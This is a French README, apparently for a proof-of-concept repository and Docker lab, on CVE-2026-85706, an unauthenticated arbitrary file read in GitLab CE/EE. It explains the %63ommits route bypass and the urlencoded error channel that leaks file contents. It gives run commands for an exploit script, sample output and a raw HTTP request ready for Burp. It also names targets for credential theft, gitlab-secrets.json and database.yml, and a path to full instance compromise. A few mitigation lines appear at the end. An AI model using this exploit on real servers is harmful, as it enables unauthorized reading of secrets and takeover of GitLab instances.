
PoC et lab Docker pour CVE-2026-85706, une lecture de fichier arbitraire non authentifiée dans GitLab CE/EE via le contournement de la route de l'API commits et le canal d'erreur urlencodé.
★ CVE-2026-85706 PoC de lecture arbitraire de fichiers non authentifiée dans GitLab ★
https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d
CVE-2026-85706 est une lecture arbitraire de fichiers non authentifiée dans GitLab CE/EE (CVSS 10.0, CISA KEV) via
POST /api/v4/projects/:id/repository/commits, dont l'assistant de téléversement de corps s'exécute avantauthenticate!et litparams['file.path']comme un chemin absolu sans confinement. L'encodage URL d'un caractère decommits→%63ommitsfait que GitLab-Workhorse ne reconnaît pas la route (il n'écrase donc jamaisfile.path), tandis que Rails décode toujours%63 → cet route vers le gestionnaire — permettant à l'attaquant de définirfile.pathvia la chaîne de requête. AvecContent-Type=application/x-www-form-urlencoded, l'assistant réanalyse le contenu du fichier et un%non suivi de deux chiffres hexadécimaux reflète ce contenu dans le corps400(les fichiers sans un tel caractère ne donnent qu'un oracle de lecture401). Nécessite au moins un projet public.
| Catégorie | Version |
|---|---|
| Vulnérables | GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1 |
| Corrigées | 19.1.8 / 19.2.6 / 19.3.2 ou ultérieures (2026-09-10) |
% invalide (journaux applicatifs, et configurations/identifiants intégrant des valeurs encodées en URL) → reconnaissance + vol d'identifiants → chaînage vers un accès authentifié / compromission totale de l'instancegitlab-secrets.json, database.yml) ; noter que les fichiers purement hexadécimaux/base64 ne renvoient qu'un oracle d'existence via le canal public de réflexion % (aucun octet % invalide pour déclencher l'écho)authenticate! avant l'assistant de téléversement de corps, de sorte qu'une requête non authentifiée est refusée avant le point de lecture de fichierConstruisez et exécutez le GitLab CE vulnérable. Au démarrage, le seeder dépose /flag.txt (avec un
déclencheur de fuite % en fin de fichier) et crée un projet public victim/public-app (id de projet 1) afin que
l'API commits soit accessible sans authentification. Le premier démarrage prend environ 2–3 minutes.
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
Le flag est un espace réservé (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Définissez le vôtre au
moment de l'exécution sans modifier l'image : docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.
| Précondition | État dans ce lab |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| Au moins un projet public (un anonyme atteint l'API commits) | victim/public-app (id 1), créé automatiquement |
/api/v4/projects/:id/repository/commits accessible sans authentification | exposé |
| Flag sur le système de fichiers du serveur | /flag.txt (déclencheur de réflexion % en fin de fichier) |
L'exploit gitlab_exploit.py lit un fichier sur le serveur avec une seule requête non authentifiée,
en utilisant le contournement de route Workhorse %63ommits et le canal d'erreur de réanalyse urlencoded.
Choisissez le fichier avec --read (par défaut /flag.txt).
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
Options :
--read "<abs path>" — chemin de fichier absolu à lire (par défaut /flag.txt)--project <id> — id du projet public accessible sans authentification (par défaut 1)--check — confirme uniquement que le point de lecture de fichier est accessible (attend local file not present)Requête brute (pour Burp Repeater) :
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
POST/PUT vers */repository/commits* et */repository/files* au niveau d'un proxy/WAF, et placez l'instance derrière SSO / VPN / une liste d'autorisation d'IP